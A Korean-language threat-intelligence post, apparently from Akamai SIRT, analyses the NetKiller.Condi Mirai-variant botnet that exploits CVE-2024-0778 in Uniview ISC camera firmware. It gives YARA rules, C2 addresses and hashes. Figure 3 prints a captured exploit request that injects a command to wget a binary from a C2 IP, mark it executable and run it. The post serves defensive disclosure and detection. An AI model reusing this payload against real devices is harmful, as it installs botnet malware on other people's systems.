취약점 공개 1주일 만에 CVE-2024-0778을 악용한 NetKiller.Condi 봇넷
Executive Summary
Zhejiang Uniview ISC 카메라 모델 2500-S의 펌웨어(펌웨어 버전 20210930까지)에서 취약점이 발견되었습니다. 이 취약점은 특정 요청 인수를 조작해 OS 명령 인젝션을 허용합니다.
CVE-2024-0778로 확인된 이 취약점은 서비스 종료 단계에 도달해 유지 관리자가 더 이상 지원하지 않는 제품에 영향을 미칩니다.
Akamai SIRT(Security Intelligence Response Team)는 Mirai 멀웨어 변종을 문서화했으며 허니팟을 표적으로 삼은 취약점 악용 시도를 관측했습니다.
공격의 배후에 있는 공격자는 페이로드가 상이한 다른 URI도 표적으로 삼았으며, 이는 여러 시스템 아키텍처가 표적이 되고 있음을 나타냅니다.
공격과 관련된 C2(Command and Control) IP 주소는 베트남에 기반을 두고 있으며 2024년 1월에 등록된 C2 도메인 net-killer[.]online으로 확인되었습니다.
이 활동에 대한 최초의 언급은 2023년 6월 28일로 거슬러 올라가는데, 이는 위협이 장기적으로 진화하고 있음을 나타냅니다.
Zhejiang Uniview ISC 카메라 모델 2500-S의 펌웨어(펌웨어 버전 20210930까지)에서 심각한 취약점이 발견되었습니다. 이 취약점은 /Interface/DevManage/VM.php 파일 내의 setNatConfig 함수에 있습니다. 취약점을 악용하면 natAddress, natPort, natServerPort 같은 요청 인수의 조작을 통한 OS 명령 인젝션이 가능합니다.
이 악용은 널리 공개되어 인터넷에 노출된 디바이스에 심각한 리스크를 초래할 수 있습니다. 취약점은 VDB-251696으로 식별되며, 특히 유지 관리자가 더 이상 지원하지 않는 제품에 영향을 미친다는 점에 유의해야 합니다. 해당 벤더사는 이 사실을 조기에 통보받았으며 해당 제품이 서비스 종료 단계에 도달했음을 즉시 확인했습니다.
이 블로그 게시물에서는 이 취약점에 대해 설명하고 그 영향에 대해 논의하며 관측된 IOC(Indicator of Compromise)를 제공하고자 합니다.
Mirai 멀웨어 변종의 문서화
Akamai SIRT는 2024년 1월 16일에 취약점 악용을 시도한 한 세션을 문서화해 GitHub에 게시했습니다 . 이 취약점은 1월 22일 CVE ID CVE-2024-0778로 지정되었으며, 허니팟을 노리는 공격자는 1월 24일에 관찰되었습니다.
샌드박스에서 멀웨어 샘플 중 하나(특히 ‘most-mips’)를 실행하면 콘솔에 ‘lzrd’를 참조하는 고유 문자열이 출력되고, 이 문자열은 특정 Mirai 멀웨어의 변종으로 식별됩니다(그림 1). 새로운 문자열과 변종은 아니며, 2021년에 작성된 허니팟 블로그 게시물을 통해 초기에 언급되기도 했습니다.
Condi에 대한 연결
이 멀웨어 샘플은 이전에 허니팟 네트워크에서 관측된 바 있는 C2 도메인 net-killer[.]online으로 호출되었습니다. 멀웨어 샘플에서 관찰된 일부 문자열(예: ‘CondiiNeett %s:%d’)은 이전에 보고된 Condi 봇넷에 대한 연결을 나타냅니다.
Fortinet은 2023년 6월 Condi 봇넷에 대해 보고했으며 Condi 봇넷의 소스 코드는 2023년 8월 17일부터 10월 12일 사이에 Github 에 널리 공개되었습니다. Condi 소스 코드가 몇 달 동안 사용 가능했다는 점을 고려할 때, Fortinet이 보고한 것과는 별개로 다른 공격자가 이 소스 코드를 사용하고 있을 가능성이 높습니다.
이 공격자는 또한 지난 한 달간 ‘/ctrlt/DeviceUpgrade_1’(CVE-2017-17215), ‘/soap.cgi?service=WANIPConn1’(CVE-2013-7471), ‘/picsdesc.xml’(CVE-2014-8361)과 같은 다른 URI를 공격했는데, ‘most-mips’ 페이로드 파일 및 동일한 C2 IP 주소를 가지고 있었으며 최신 CVE에는 ‘most-arm’ 세션이 포함되었습니다. ‘most-x86‘의 경우, ‘/ws/v1/cluster/apps’(Hadoop YARN ResourceManager Exploit)라는 URI를 표적으로 삼는 것으로 확인되었습니다.
주목할 점은 이런 C2 IP 주소가 C2 도메인 net-killer[.]online으로 확인되었거나 계속해서 확인되고 있다는 점입니다. 이 도메인의 모든 IP 주소는 베트남 기반의 IP 주소로 확인됩니다. 해당 도메인은 2024년 1월 10일 Hostinger를 통해 등록되었습니다.
NetKiller 봇넷
허니팟에서 이 활동이 가장 먼저 관찰된 것은 2023년 6월 28일이었습니다. 공격자들은 2023년 6월 말부터 최소 2023년 8월 17일까지 베트남에 기반을 둔 C2 IP 주소 103.195.236[.]140을 사용했습니다. 이 코드는 'sora.mips'라는 페이로드를 다운로드했는데, 이 페이로드는 Mirai SORA 변종(NetKiller.SORA)일 가능성이 높습니다. 최초의 ‘most’ 파일 이름 참조는 대부분 Mirai LZRD 변종(NetKiller.LZRD)으로, 2023년 7월 28일에 동일한 C2에서 발생했습니다. 당시 이 공격자가 사용하던 C2 도메인 중 하나는 botnet.vinaddns[.]com이었습니다.
NetKiller 봇넷 인프라의 경우 IP 주소 확인에서 몇 가지 중복되는 부분이 관찰되었습니다(그림 2). 인프라의 대부분은 베트남에 기반을 두고 있었으며, C2 도메인은 일반적으로 수천 개의 다른 하위 도메인이 있는 더 큰 호스트의 하위 도메인으로 등록되어 있었습니다. 이 경우 도메인은 모두 'serveblog', 'servegame' 또는 'servehttp'와 같이 'serve'의 명명 규칙을 따릅니다. 마찬가지로 하위 도메인과 멀웨어 파일 이름도 'killer', 'botnet' 또는 'most'와 같이 이름이 겹치는 명명 규칙을 따릅니다.
허니팟이 캡처한 코드 스니펫(그림 3)에서 공격자가 명령 인젝션 취약점을 악용해 디렉터리를 /tmp로 변경하는 코드를 실행하고, wget 명령을 통해 모스트암 바이너리를 다운로드하고, 권한을 전역 실행으로 설정한 후 마지막으로 멀웨어를 실행하고 바이너리를 제거하려고 시도하는 것을 POST 요청의 내용을 통해 확인할 수 있습니다. 멀웨어의 첫 번째와 두 번째 부분은 '1.php' 파일에 'id' 명령을 작성합니다. 이는 GitHub에 게시된 원래 개념 증명 악용의 잔재일 수 있습니다.
METHOD: POST
LISTENING PORT: 90
PATH: /Interface/DevManage/VM.php
REQUEST: natPort=80;echo `id` > 1.php&GAJAX_USERID=0000&GAJAX_ORGCODE=0000&GAJAX_USERNAME=admin&GAJAX_ORGTYPE=2&cmd=setNatConfig&natAddress=cd /tmp/;wget http://103.69.97.45/most-arm;chmod 777 most-arm;./most-arm exploit;rm -rf most-arm&natServerPort=;echo `id` > 1.php&GAJAX_LOGINID=21822020240105183142&GAJAX_ORGNAME=Root
그림 3: 악용 시도에서 캡처한 페이로드
결론
Zhejiang Uniview ISC 카메라 펌웨어에서 중대한 취약점이 발견되고 CVE-2024-0778 및 관련 C2 인프라를 노리는 악성 활동이 관측되는 것은 오래된 시스템의 취약점을 악용하는 악성 공격자들이 지속적으로 위협을 가하고 있음을 보여줍니다.
전반적으로 보안 리스크를 방어하고 규정 요건을 준수하기 위해서는 패치가 불가능한 구형 하드웨어와 소프트웨어를 폐기하는 것이 좋습니다. 기업의 자산과 데이터를 보호하려면 신중한 계획과 실행, 지속적인 경계가 필요합니다.
지속적인 주의, 선제적인 취약점 관리, 관련 인프라에 대한 철저한 조사는 리스크를 방어하고 이러한 위협을 차단하는 데 필수적입니다. 또한 취약점을 신속하게 해결하고 잠재적인 악용으로부터 사용자를 보호할 수 있도록 보안 연구자와 벤더사가 협럭하는 것이 중요합니다.
IOC
YARA 룰
rule netkiller_scripts_1 {
meta:
description = "netkiller_scripts_1"
author = "Akamai SIRT"
date = "2024-02-26"
strings:
$s1 = "mostnet0510" fullword ascii
$s2 = "most" fullword ascii
$s3 = "most-ppc" fullword ascii
$s4 = "most-m68k" fullword ascii
$s5 = "most-x86" fullword ascii
$s6 = “CondiiNeett %s:%d” fullword ascii
condition:
3 of them
}
rule netkiller_scripts_2 {
meta:
description = "netkiller_scripts_2"
author = "Akamai SIRT"
date = "2024-02-26"
strings:
$s1 = "caclo" fullword ascii
$s2 = "npxXoudifFeEgGaACScs" fullword ascii
$s3 = "khong_xac_dinh" fullword ascii
$s4 = "webserv" fullword ascii
condition:
3 of them
}
rule netkiller_scripts_3 {
meta:
description = "netkiller_scripts_3"
author = "Akamai SIRT"
date = "2024-02-26"
strings:
$s1 = "babylone" fullword ascii
$s2 = "[killer] da giet" fullword ascii
$s3 = "[killer] Kh" fullword ascii
$s4 = "[killer] Failed to create child process." fullword ascii
$s5 = "ng th" fullword ascii
$s6 = " o quy tr" fullword ascii
$s7 = "nh con." fullword ascii
$8 = "/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38
/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/
xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/
x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/
x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/
xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/
x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/
x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/
x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/
x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/
xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A"
condition:
3 of them
}
C2 IP 주소
103[.]69[.]97[.]45
103[.]67[.]196[.]50
103[.]72[.]57[.]249
103[.]72[.]57[.]195
103[.]37[.]61[.]26
15[.]235[.]155[.]8
34[.]94[.]59[.]72
103[.]67[.]163[.]20
35[.]235[.]96[.]85
103[.]195[.]236[.]140
103[.]72[.]57[.]191
103[.]72[.]56[.]135
43[.]229[.]150[.]94
103[.]155[.]81[.]228
103[.]172[.]79[.]74
C2 도메인 이름
net-killer[.]online
mostnet[.]servegame[.]com
net-killer[.]servehttp[.]com
botnet[.]serveblog[.]net
botnet[.]vinaddns[.]com
botnet1[.]vinaddns[.]com
SHA256 해시
62e9e4032bbfdc8ff27ba1386884adf59d34c8bf42424e4fd80d836d2b40c7db
E4970af58d4ef7f23d7b6813203cf980f9aa1d507953d87978810d0de339779a
646ed28bb9b2efe839a095ea0cf8b3a2c6acf2f4edabd5a743154f6ff432ab7b
D00b4c81059c295b924fa43778d06659b01f074e4099147c596d9b1a2789e329
75b20eec15cc9f64b5dbd884f9296e8a2ae2bec728dbe8886584f13e8d13d596
E4970af58d4ef7f23d7b6813203cf980f9aa1d507953d87978810d0de339779a
6704f73d8e51c259f74fdadc9d3782e60d279cf2619a83e75786d29f59810f91
13014707a5338954138b6b83fd04080407e3088ef6bcf3307d0cc1cdf44c21c0
b4512382738144e5e0a411d8d47d2496a73675a54b8ee8468ab7975011c2305b
5692541960ec2360ec431679d33aee79836572adc3a8b2e39f81402ec980dd58
8f8c68165c5853e9ce33f76d37d77db7112d713d0374d1e5ad6e0f0ac343cb1b
cfce0b57fa30be5297768f9dd1dcb2a5930b3a440b95ad407b3055405ad0ddd5